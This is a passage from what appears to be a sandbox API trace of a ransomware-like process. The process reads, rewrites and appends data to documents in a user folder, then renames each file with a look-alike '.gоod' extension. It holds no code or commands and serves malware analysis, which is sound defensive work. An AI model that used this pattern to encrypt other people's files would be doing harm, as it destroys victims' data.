lpNewFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Ku9lVku.odt.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\ku9lvku.odt.gоod")) returned 1 [0253.361] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\qZosb8wc.odt", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\qZosb8wc.odt", lpFilePart=0x0) returned 0x2e [0253.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ceda10) returned 1 [0253.362] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\qZosb8wc.odt" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qzosb8wc.odt"), fInfoLevelId=0x0, lpFileInformation=0x3b681b0 | out: lpFileInformation=0x3b681b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaea51020, ftCreationTime.dwHighDateTime=0x1d4d1a1, ftLastAccessTime.dwLowDateTime=0xd9ed6760, ftLastAccessTime.dwHighDateTime=0x1d4c845, ftLastWriteTime.dwLowDateTime=0xd9ed6760, ftLastWriteTime.dwHighDateTime=0x1d4c845, nFileSizeHigh=0x0, nFileSizeLow=0x1152f)) returned 1 [0253.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced9d0) returned 1 [0253.362] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\qZosb8wc.odt", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\qZosb8wc.odt", lpFilePart=0x0) returned 0x2e [0253.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0253.362] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\qZosb8wc.odt" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qzosb8wc.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0253.362] GetFileType (hFile=0x82c) returned 0x1 [0253.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0253.362] GetFileType (hFile=0x82c) returned 0x1 [0253.362] SetFilePointer (in: hFile=0x82c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x1000 [0253.362] ReadFile (in: hFile=0x82c, lpBuffer=0x3b68568, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ceda38, lpOverlapped=0x0 | out: lpBuffer=0x3b68568*, lpNumberOfBytesRead=0x20ceda38*=0x1000, lpOverlapped=0x0) returned 1 [0253.363] CloseHandle (hObject=0x82c) returned 1 [0253.363] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\qZosb8wc.odt", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\qZosb8wc.odt", lpFilePart=0x0) returned 0x2e [0253.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0253.363] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\qZosb8wc.odt" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qzosb8wc.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0253.363] GetFileType (hFile=0x82c) returned 0x1 [0253.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0253.363] GetFileType (hFile=0x82c) returned 0x1 [0253.363] SetFilePointer (in: hFile=0x82c, lDistanceToMove=0, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x1152f [0253.363] WriteFile (in: hFile=0x82c, lpBuffer=0x3b697d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20ced958, lpOverlapped=0x0 | out: lpBuffer=0x3b697d0*, lpNumberOfBytesWritten=0x20ced958*=0x10, lpOverlapped=0x0) returned 1 [0253.363] CloseHandle (hObject=0x82c) returned 1 [0253.363] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\qZosb8wc.odt", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\qZosb8wc.odt", lpFilePart=0x0) returned 0x2e [0253.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0253.363] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\qZosb8wc.odt" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qzosb8wc.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0253.364] GetFileType (hFile=0x82c) returned 0x1 [0253.364] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0253.364] GetFileType (hFile=0x82c) returned 0x1 [0253.364] ReadFile (in: hFile=0x82c, lpBuffer=0x3b6ba60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ced9e8, lpOverlapped=0x0 | out: lpBuffer=0x3b6ba60*, lpNumberOfBytesRead=0x20ced9e8*=0x1000, lpOverlapped=0x0) returned 1 [0253.444] CloseHandle (hObject=0x82c) returned 1 [0253.444] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\qZosb8wc.odt", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\qZosb8wc.odt", lpFilePart=0x0) returned 0x2e [0253.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0253.444] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\qZosb8wc.odt" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qzosb8wc.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0253.444] GetFileType (hFile=0x82c) returned 0x1 [0253.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0253.444] GetFileType (hFile=0x82c) returned 0x1 [0253.444] WriteFile (in: hFile=0x82c, lpBuffer=0x399b0b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20ceda98, lpOverlapped=0x0 | out: lpBuffer=0x399b0b8*, lpNumberOfBytesWritten=0x20ceda98*=0x1010, lpOverlapped=0x0) returned 1 [0253.444] CloseHandle (hObject=0x82c) returned 1 [0253.445] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\qZosb8wc.odt", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\qZosb8wc.odt", lpFilePart=0x0) returned 0x2e [0253.445] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\qZosb8wc.odt.gоod", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\qZosb8wc.odt.gоod", lpFilePart=0x0) returned 0x33 [0253.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced9d0) returned 1 [0253.445] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\qZosb8wc.odt" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qzosb8wc.odt"), fInfoLevelId=0x0, lpFileInformation=0x20cedab0 | out: lpFileInformation=0x20cedab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaea51020, ftCreationTime.dwHighDateTime=0x1d4d1a1, ftLastAccessTime.dwLowDateTime=0xd9ed6760, ftLastAccessTime.dwHighDateTime=0x1d4c845, ftLastWriteTime.dwLowDateTime=0x934600dd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1153f)) returned 1 [0253.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced990) returned 1 [0253.581] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\qZosb8wc.odt" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qzosb8wc.odt"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\qZosb8wc.odt.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qzosb8wc.odt.gоod")) returned 1 [0254.915] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\SgKi3mzzvDVjQiPa.xls", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\SgKi3mzzvDVjQiPa.xls", lpFilePart=0x0) returned 0x36 [0254.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ceda10) returned 1 [0254.915] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\SgKi3mzzvDVjQiPa.xls" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\sgki3mzzvdvjqipa.xls"), fInfoLevelId=0x0, lpFileInformation=0x3d93450 | out: lpFileInformation=0x3d93450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd937ab0, ftCreationTime.dwHighDateTime=0x1d4cf1e, ftLastAccessTime.dwLowDateTime=0x9bfdd970, ftLastAccessTime.dwHighDateTime=0x1d4d5a2, ftLastWriteTime.dwLowDateTime=0x9bfdd970, ftLastWriteTime.dwHighDateTime=0x1d4d5a2, nFileSizeHigh=0x0, nFileSizeLow=0x73f1)) returned 1 [0254.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced9d0) returned 1 [0254.915] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\SgKi3mzzvDVjQiPa.xls", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\SgKi3mzzvDVjQiPa.xls", lpFilePart=0x0) returned 0x36 [0254.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0254.915] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\SgKi3mzzvDVjQiPa.xls" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\sgki3mzzvdvjqipa.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0254.916] GetFileType (hFile=0x824) returned 0x1 [0254.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0254.916] GetFileType (hFile=0x824) returned 0x1 [0254.916] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x1000 [0254.916] ReadFile (in: hFile=0x824, lpBuffer=0x3d93848, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ceda38, lpOverlapped=0x0 | out: lpBuffer=0x3d93848*, lpNumberOfBytesRead=0x20ceda38*=0x1000, lpOverlapped=0x0) returned 1 [0254.917] CloseHandle (hObject=0x824) returned 1 [0254.917] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\SgKi3mzzvDVjQiPa.xls", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\SgKi3mzzvDVjQiPa.xls", lpFilePart=0x0) returned 0x36 [0254.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0254.917] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\SgKi3mzzvDVjQiPa.xls" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\sgki3mzzvdvjqipa.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0254.917] GetFileType (hFile=0x824) returned 0x1 [0254.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0254.917] GetFileType (hFile=0x824) returned 0x1 [0254.917] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x73f1 [0254.917] WriteFile (in: hFile=0x824, lpBuffer=0x3d94ad0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20ced958, lpOverlapped=0x0 | out: lpBuffer=0x3d94ad0*, lpNumberOfBytesWritten=0x20ced958*=0x10, lpOverlapped=0x0) returned 1 [0256.014] CloseHandle (hObject=0x824) returned 1 [0257.309] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\SgKi3mzzvDVjQiPa.xls", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\SgKi3mzzvDVjQiPa.xls", lpFilePart=0x0) returned 0x36 [0257.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0257.309] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\SgKi3mzzvDVjQiPa.xls" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\sgki3mzzvdvjqipa.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0257.310] GetFileType (hFile=0x808) returned 0x1 [0257.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0257.310] GetFileType (hFile=0x808) returned 0x1 [0257.310] ReadFile (in: hFile=0x808, lpBuffer=0x40d1bb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ced9e8, lpOverlapped=0x0 | out: lpBuffer=0x40d1bb0*, lpNumberOfBytesRead=0x20ced9e8*=0x1000, lpOverlapped=0x0) returned 1 [0257.350] CloseHandle (hObject=0x808) returned 1 [0257.350] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\SgKi3mzzvDVjQiPa.xls", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\SgKi3mzzvDVjQiPa.xls", lpFilePart=0x0) returned 0x36 [0257.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0257.350] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\SgKi3mzzvDVjQiPa.xls" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\sgki3mzzvdvjqipa.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0257.350] GetFileType (hFile=0x808) returned 0x1 [0257.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0257.351] GetFileType (hFile=0x808) returned 0x1 [0257.351] WriteFile (in: hFile=0x808, lpBuffer=0x40d0918*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20ceda98, lpOverlapped=0x0 | out: lpBuffer=0x40d0918*, lpNumberOfBytesWritten=0x20ceda98*=0x1010, lpOverlapped=0x0) returned 1 [0257.351] CloseHandle (hObject=0x808) returned 1 [0257.351] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\SgKi3mzzvDVjQiPa.xls", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\SgKi3mzzvDVjQiPa.xls", lpFilePart=0x0) returned 0x36 [0257.351] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\SgKi3mzzvDVjQiPa.xls.gоod", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\SgKi3mzzvDVjQiPa.xls.gоod", lpFilePart=0x0) returned 0x3b [0257.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced9d0) returned 1 [0257.351] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\SgKi3mzzvDVjQiPa.xls" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\sgki3mzzvdvjqipa.xls"), fInfoLevelId=0x0, lpFileInformation=0x20cedab0 | out: lpFileInformation=0x20cedab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd937ab0, ftCreationTime.dwHighDateTime=0x1d4cf1e, ftLastAccessTime.dwLowDateTime=0x9bfdd970, ftLastAccessTime.dwHighDateTime=0x1d4d5a2, ftLastWriteTime.dwLowDateTime=0x959a1f2e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7401)) returned 1 [0257.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced990) returned 1 [0257.351] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\SgKi3mzzvDVjQiPa.xls" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\sgki3mzzvdvjqipa.xls"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\SgKi3mzzvDVjQiPa.xls.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\sgki3mzzvdvjqipa.xls.gоod")) returned 1 [0257.509] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Twg1ZBpM822jcyQLq.rtf", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Twg1ZBpM822jcyQLq.rtf", lpFilePart=0x0) returned 0x37 [0257.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ceda10) returned 1 [0257.509] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Twg1ZBpM822jcyQLq.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\twg1zbpm822jcyqlq.rtf"), fInfoLevelId=0x0, lpFileInformation=0x3c32838 | out: lpFileInformation=0x3c32838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8927e800, ftCreationTime.dwHighDateTime=0x1d4c6d3, ftLastAccessTime.dwLowDateTime=0xd20588d0, ftLastAccessTime.dwHighDateTime=0x1d4cc13, ftLastWriteTime.dwLowDateTime=0xd20588d0, ftLastWriteTime.dwHighDateTime=0x1d4cc13, nFileSizeHigh=0x0, nFileSizeLow=0x3185)) returned 1 [0257.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced9d0) returned 1 [0257.509] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Twg1ZBpM822jcyQLq.rtf", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Twg1ZBpM822jcyQLq.rtf", lpFilePart=0x0) returned 0x37 [0257.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0257.509] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Twg1ZBpM822jcyQLq.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\twg1zbpm822jcyqlq.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0257.510] GetFileType (hFile=0x808) returned 0x1 [0257.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0257.510] GetFileType (hFile=0x808) returned 0x1 [0257.510] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x1000 [0257.510] ReadFile (in: hFile=0x808, lpBuffer=0x3c32c30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ceda38, lpOverlapped=0x0 | out: lpBuffer=0x3c32c30*, lpNumberOfBytesRead=0x20ceda38*=0x1000, lpOverlapped=0x0) returned 1 [0257.510] CloseHandle (hObject=0x808) returned 1 [0257.510] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Twg1ZBpM822jcyQLq.rtf", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Twg1ZBpM822jcyQLq.rtf", lpFilePart=0x0) returned 0x37 [0257.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0257.510] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Twg1ZBpM822jcyQLq.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\twg1zbpm822jcyqlq.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0257.510] GetFileType (hFile=0x808) returned 0x1 [0257.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0257.511] GetFileType (hFile=0x808) returned 0x1 [0257.511] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x3185 [0257.511] WriteFile (in: hFile=0x808, lpBuffer=0x3c33eb8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20ced958, lpOverlapped=0x0 | out: lpBuffer=0x3c33eb8*, lpNumberOfBytesWritten=0x20ced958*=0x10, lpOverlapped=0x0) returned 1 [0257.511] CloseHandle (hObject=0x808) returned 1 [0257.511] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Twg1ZBpM822jcyQLq.rtf", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Twg1ZBpM822jcyQLq.rtf", lpFilePart=0x0) returned 0x37 [0257.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0257.511] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Twg1ZBpM822jcyQLq.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\twg1zbpm822jcyqlq.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0257.511] GetFileType (hFile=0x808) returned 0x1 [0257.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0257.511] GetFileType (hFile=0x808) returned 0x1 [0257.511] ReadFile (in: hFile=0x808, lpBuffer=0x3c36168, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ced9e8, lpOverlapped=0x0 | out: lpBuffer=0x3c36168*, lpNumberOfBytesRead=0x20ced9e8*=0x1000, lpOverlapped=0x0) returned 1 [0257.545] CloseHandle (hObject=0x808) returned 1 [0257.545] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Twg1ZBpM822jcyQLq.rtf", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Twg1ZBpM822jcyQLq.rtf", lpFilePart=0x0) returned 0x37 [0257.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0257.545] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Twg1ZBpM822jcyQLq.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\twg1zbpm822jcyqlq.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0257.545] GetFileType (hFile=0x808) returned 0x1 [0257.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0257.545] GetFileType (hFile=0x808) returned 0x1 [0257.545] WriteFile (in: hFile=0x808, lpBuffer=0x3c34ed0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20ceda98, lpOverlapped=0x0 | out: lpBuffer=0x3c34ed0*, lpNumberOfBytesWritten=0x20ceda98*=0x1010, lpOverlapped=0x0) returned 1 [0257.545] CloseHandle (hObject=0x808) returned 1 [0257.545] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Twg1ZBpM822jcyQLq.rtf", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Twg1ZBpM822jcyQLq.rtf", lpFilePart=0x0) returned 0x37 [0257.546] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Twg1ZBpM822jcyQLq.rtf.gоod", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Twg1ZBpM822jcyQLq.rtf.gоod", lpFilePart=0x0) returned 0x3c [0257.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced9d0) returned 1 [0257.546] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Twg1ZBpM822jcyQLq.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\twg1zbpm822jcyqlq.rtf"), fInfoLevelId=0x0, lpFileInformation=0x20cedab0 | out: lpFileInformation=0x20cedab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8927e800, ftCreationTime.dwHighDateTime=0x1d4c6d3, ftLastAccessTime.dwLowDateTime=0xd20588d0, ftLastAccessTime.dwHighDateTime=0x1d4cc13, ftLastWriteTime.dwLowDateTime=0x95b91bdc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3195)) returned 1 [0257.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced990) returned 1 [0257.546] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Twg1ZBpM822jcyQLq.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\twg1zbpm822jcyqlq.rtf"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Twg1ZBpM822jcyQLq.rtf.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\twg1zbpm822jcyqlq.rtf.gоod")) returned 1 [0257.547] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\vSIZ313sC6NZHr.pdf", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\vSIZ313sC6NZHr.pdf", lpFilePart=0x0) returned 0x34 [0257.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ceda10) returned 1 [0257.547] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\vSIZ313sC6NZHr.pdf" (normalized: 